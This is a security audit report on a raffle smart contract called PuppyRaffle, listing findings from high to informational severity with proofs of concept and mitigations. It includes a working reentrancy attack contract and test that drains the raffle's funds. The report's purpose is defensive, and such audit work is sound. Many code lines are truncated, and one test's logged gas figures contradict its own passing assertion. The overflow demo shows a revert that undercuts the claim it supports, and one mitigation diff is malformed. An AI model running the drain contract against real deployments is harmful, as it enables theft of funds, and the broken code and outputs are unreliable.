PuppyRaffle Smart Contract Security Audit Report

Philani A Dlamini

July 2025

Contents

1. PuppyRaffle Smart Contract Security Audit

1.1. Summary

This audit focuses on the PuppyRaffle smart contract, which implements a raffle mechanism awarding NFT puppies to winners. The contract allows participants to enter by sending ETH, and winners are selected based on pseudo-random values. The audit identifies critical vulnerabilities, recommends mitigations, and evaluates the contracts overall security posture. The contract uses Solidity ˆ0.7.6, which is outdated and lacks built-in overflow protections.

List of Figures

List of Tables

Figure 1: Figure description

1.2. High Severity

1.2.1. 1. Reentrancy in `refund()`

1.2.2. 2. Weak PRG Predictable Randomness

1.2.3. 3. Integer Overflow of `totalFees`

1.3. Medium Severity

1.3.1. 4. Gas-Based Denial of Service in Duplicate Check

1.3.2. 5. Winner Contract Blocking Raffle Restart

1.3.3. 6. Strict Equality Enables Gas Griefing

1.4. Low Severity

1.4.1. 7. Ambiguous Return in `getActivePlayerIndex()`

1.4.2. 8. CEI Pattern Not Followed

1.5. Informational

1.5.1. 9. Missing Events

1.5.2. 10. Floating Solidity Version

1.6. High Severity High Severity Reentrancy in refund() Due to Improper State Ordering

1.6.1. Description

The refund function sends funds to msg.sender before updating the contract state. This violates the Checks-Effects-Interactions pattern, leaving the contract vulnerable to reentrancy attacks. A malicious contract could repeatedly call refund() before the players array is updated, draining all funds.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "Only the player can refund");
    require(playerAddress != address(0), "Already refunded or inactive");

    payable(msg.sender).sendValue(entranceFee); //  External call before stat
    players[playerIndex] = address(0);
    emit RaffleRefunded(playerAddress);
}
```

1.6.2. Impact

- **Loss of Funds**: Malicious actors can recursively trigger refund() to empty the contract balance.

- **Loss of trust**: Users may lose confidence in the raffle due to exploitability.

1.6.3. Proof of Concept

If a malicoius actor deploys their own contract that can use enterRaffle during reentrancy, they can drain all funds from the Raffle smart contract. To replicate this attack, add the MalicousAttack smart contract to the PuppyRaffleTest and run the test provided below.

Attack flow

1. User enters the raffle
2. Attacker sets up a contract with a fallback function that calls PuppyRaffle::refund
3. Attacker enters the raffle
4. Attacker calls PuppyRaffle::refund from their attack contract, draining the contract balance

```
contract ReentrancyAttack {
    PuppyRaffle public puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(address _puppyRaffle) {
        puppyRaffle = PuppyRaffle(_puppyRaffle);
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealFunds() internal {
        uint256 balance = address(puppyRaffle).balance;
        if (balance > 0) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealFunds();
    }
    receive() external payable {
        _stealFunds();
    }
}

function testReentrancyRefund() public playerEntered {
        address[] memory players = new address[](4);
        players[0] = makeAddr("playerOne-1");
        players[1] = makeAddr("playerTwo-2");
        players[2] = makeAddr("playerThree-3");
        players[3] = makeAddr("playerFour-4");
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttack attackContract = new ReentrancyAttack(address(puppyF
        address attacker = makeAddr("attacker");
        vm.deal(attacker, 1 ether);

        uint256 initialBalance = address(attackContract).balance;
        uint256 initialPuppyBalance = address(puppyRaffle).balance;

        vm.prank(attacker);
        attackContract.attack{value: entranceFee}();

        console.log("Initial attacker balance:", initialBalance);
        console.log("Initial PuppyRaffle balance:", initialPuppyBalance);

        console.log("Attacker balance after attack:", address(attackContract)
        console.log("PuppyRaffle balance after attack:", address(puppyRaffle)
    }
```

Steps to run the test

1. Install packages and Compile project:

```
make
```

1. Run the test:

```
forge test --mt testReentrancyRefund -vvv
```

Console output:

```
Ran 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[PASS] testReentrancyRefund() (gas: 727346)
Logs:
  Initial attacker balance: 0 ETH
  Initial PuppyRaffle balance: 5 ETH
  Attacker balance after attack: 6 ETH
  PuppyRaffle balance after attack: 0 ETH
```

1.6.4. Recommended Mitigations

- **Use Checks-Effects-Interactions**: The PuppyRaffle::refund function should update the players array before making an external call, additionally we should move the event emission before the call as well

```
 function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
        require(playerAddress != address(0), "PuppyRaffle: Player already refu

+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

- **Use OpenZeppelin ReentrancyGuard smart contract**

1.7. High Severity Predictable Randomness in selectWinner() Enables Manipulation

1.8. Description

The contract uses keccak256(block.timestamp, block. difficulty , msg.sender) to generate randomness in selectWinner() and determine NFT rarity. These values can be influenced by miners or replayed.

Note This additionally means users can front-run this function and call refund if they see they are not the winner

```
uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.tim
```

1.8.1. Impact

-**Winner Manipulation**: Miners can skew results toward a desired address.

-**NFT Rarity Bias**: Malicious users can game rarity distribution by spamming transactions.

1.9. Proof of concept

1. Validators can know ahead of time the block.timestamp and block. difficulty and use that to predict when/how to participate. See the [solidity blog on prevrandao] (https://soliditydeveloper.com/prevradao)
2. Users can mine/manipulate their msg,sender value to result in their address being used to generate the winner
3. Users can revert their selectWinner transaction if they do not like the winner or resulting puppy

1.9.1. Recommended Mitigations

- Integrate a verifiable random function (e.g., Chainlink VRF).
- Avoid relying on block.timestamp or block.difficulty for randomness.

1.10. High Severity Integer Overflow of `PuppyRaffle::totalFees` Leading to loss of Fees

1.11. Description

The contract uses Solidity ^0.7.6, which does not include built-in overflow checks. totalFees is defined as uint64, and fees are accumulated by casting uint256 to uint64, risking overflows. Additionally, withdrawFees() checks for exact balance equality, which can make withdrawal permanently impossible if the balance and totalFees mismatch.

```
//Select winner
uint64 public totalFees = 0;
uint256 fee = (totalAmountCollected * 20) / 100;
totalFees = totalFees + uint64(fee);

//Withdraw fees
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are 
uint256 feesToWithdraw = totalFees;
```

1.11.1. Impact

- **Loss of fees**: If overflow occurs, the fees become unrecoverable.
- **Protocol malfunction**: Funds may be locked due to the strict equality check.

1.12. Proof of concept

1. Run chisel command in the terminal
2. Declare a uint64 variable

```
uint64 myVar = type(uint64).max
```

3. View the variable in chisel

```
 myVar
Type: uint64
 Hex: 0x
 Hex (full word): 0x000000000000000000000000000000000000000000000000fffffff
 Decimal: 18446744073709551615
```

4. Add 1 to myVar

```
 myVar + 1
Traces:
  [341] 0xBd770416a3345F91E4B34576cb804a576fa48EB1::run()
      [Revert] panic: arithmetic underflow or overflow (0x11)
    Error: Failed to inspect expression
```

1.12.1. Recommended Mitigations

- **Upgrade Solidity to ^0.8.0 or later.**
- **Use uint256 for totalFees.**
- **Replace strict equality with >= in the balance check.**

1.13. Medium Severity Gas-Based Denial of Service in Duplicate Check

1.13.1. Description

In the enterRaffle() function, the contract checks for duplicate addresses by comparing each new player against every existing players using a nested loop. This results in a quadratic time complexity (O(nš)). As the players array grows, each new call becomes increasingly expensive, potentially making it unaffordable for late entrants, leading to a Denial of Service (DoS).

```
 // Check for duplicates
  for (uint256 i = 0; i < players.length - 1; i++) {
    for (uint256 j = i + 1; j < players.length; j++) {
    require(players[i] != players[j], "PuppyRaffle: Duplicate player");
    }
  }
```

1.13.2. Impact

- **Scalability bottleneck**: Gas costs grow rapidly as more users enter.
- **DoS risk**: Attackers can bloat the array to block further participation.
- **User frustration**: Later users may face higher costs or failed entries.

1.13.3. Proof of Concept

If the raffle has 2 sets of 100 players participating, the first 100 players pay less than the second set of 100 players.

```
// Note: Gas usage may vary slightly across EVMs.
// This test highlights the growing cost trend as players increase.
function testDenialOfService() public {
        vm.txGasPrice(1);
        uint256 playerNum = 100;
        address[] memory players = new address[](playerNum);

        for (uint256 i = 0; i < playerNum; i++) {
            players[i] = address(i);
        }

        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(players)
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas used for first 100 players:", gasUsedFirst);

        //For the second 100 players
        address[] memory playersTwo = new address[](playerNum);

        for (uint256 i = 0; i < playerNum; i++) {
            playersTwo[i] = address(i + playerNum);
        }

        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length}(player
        uint256 gasEndSecond = gasleft();
        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.gasprice
        console.log("Gas used for second 100 players:", gasUsedSecond);

        assertTrue(gasUsedFirst < gasUsedSecond);
    }
```

Steps to run the test

1. Install packages and Compile project:

```
make
```

1. Run the test:

```
forge test --mt testDenialOfService -vvv
```

Console output:

```
[PASS] test_denialOfService() (gas: 25536402)
Logs:
  Gas used for first 100 players: 6503275
  Gas used for second 100 players: 1899551
```

1.13.4. Recommended Mitigations

- Replace duplicate checks with a mapping (mapping(address => bool) hasEntered) to enforce uniqueness in constant time (O(1)).
- Alternatively, drop duplicate checks entirely, accepting that users may re-enter with new wallets as sybil resistance is hard to enforce on-chain anyway.
- If one-entry-per-user is critical, implement off-chain or zk-based identity systems to enforce uniqueness more effectively.

1.14. Medium Severity Raffle Winner Smart Contract Wallet May Block Raffle Restart

1.15. Description

If the winner is a smart contract that rejects ETH (no `receive` or `fallback`), the prize transfer will fail, preventing the raffle from resetting.

1.16. Impact

- **Raffle freeze**: Protocol halts due to failed transfer.
- **Loss of trust**: Users may lose confidence if the winner cant receive funds.

1.17. Proof of concept

1. Smart contract wallet without recieve or fallback enters the raffle
2. The lottery end
3. The selectWinner function wouldnt work, even though the raffle is over

1.18. Recommended Mitigation

- **Push over pull**: Implement a pull-over-push payment model with a claimPrize() function.
- **Smart contract wallet restriction**: Alternatively, restrict contract addresses from entering (not recommended).

1.19. Medium Severity Strict Equality Enables Gas Griefing

1.20. Description

withdrawFees() uses a strict equality check on balance vs totalFees, which attackers can manipulate by sending small amounts of ETH to the contract, blocking fee withdrawals..

1.21. Impact

- Prevents fee collection.
- Allows griefing via gas manipulation.

1.22. Proof of concept

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are
```

1.23. Recommended Mitigation

- Use a greater-than-or-equal check:

```
require(address(this).balance >= uint256(totalFees), "PuppyRaffle: There are
```

1.24. Low Severity Ambiguous Return from `getActivePlayerIndex()`

1.24.1. Description

The function returns 0 for both non-existent players and for players at index 0. This causes confusion, as a player at index 0 may think they have not entered the raffle.

```
/// @return the index of the player in the array, if they are not active,
```

1.24.2. Impact

- **Waste of Gas**: Players at index 0 might re-enter unnecessarily, incurring extra gas fees.

1.24.3. Proof of Concept

1. First entrant is assigned index 0.
2. getActivePlayerIndex returns 0.
3. Player wrongly assumes they havent entered due to docstring ambiguity.

1.24.4. Recommended Mitigations

- Return an int256 and use -1 for non-existent players.

-Alternatively, revert if the player is not found.

1.25. Low Severity CEI Pattern Not Followed in `selectWinner()`

1.25.1. Description

The Checks-Effects-Interactions (CEI) pattern is not followed. The external call should come last to reduce the risk of reentrancy.

1.26. Recommendation Mitigation

- Reorder logic:

```
-     (bool success,) = winner.call{value: prizePool}("");
-     require(success, "PuppyRaffle: Failed to send prize pool to winner");
    _safeMint(winner, tokenId);
    (bool success,) = winner.call{value: prizePool}("");
+   require(success, "PuppyRaffle: Failed to send prize pool to winner");
+   require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

1.27. [Gas Opptimisation] Use Constants, Immutables, and Cache Storage Reads

1.28. Description

Use immutable for raffleDuration. Use constant for image URIs. Cache players.length in loops to save gas.

1.29. Recommendation Mitigation

Optimize loops:

```
+ uint256 playersLength = players.length;
- for (uint256 i = 0; i < players.length; i++) {}
+ for (uint256 i = 0; i < playersLength; i++) {}
```

1.30. Informational Missing Events for State Changes

1.31. Description

State-changing functions like selectWinner() and withdrawFees() do not emit events.

1.32. Recommendation Mitigation

- **Emit events to log**:
  - Winner selection
  - Fee withdrawal

1.33. Informational Unused Internal Function `_isActivePlayer()`

1.34. Description

The _isActivePlayer function is not used anywhere and increases contract bytecode size unnecessarily.

1.35. Recommendation Mitigation

- Remove the unused function.

1.36. Informational Use of Floating Solidity Version

1.37. Description

The contract uses pragma solidity ^0.7.6;, which can lead to compatibility issues.

1.38. Recommendation

Use a specific compiler version like solidity ^0.8.20 or later.
Report Author: Philani A Dlamini
Date: 31 July 2025

A. Appendix A: Raw Test Logs

Paste your raw logs here.

B. Appendix B: Attack Simulations

Include code snippets, detailed test output, etc.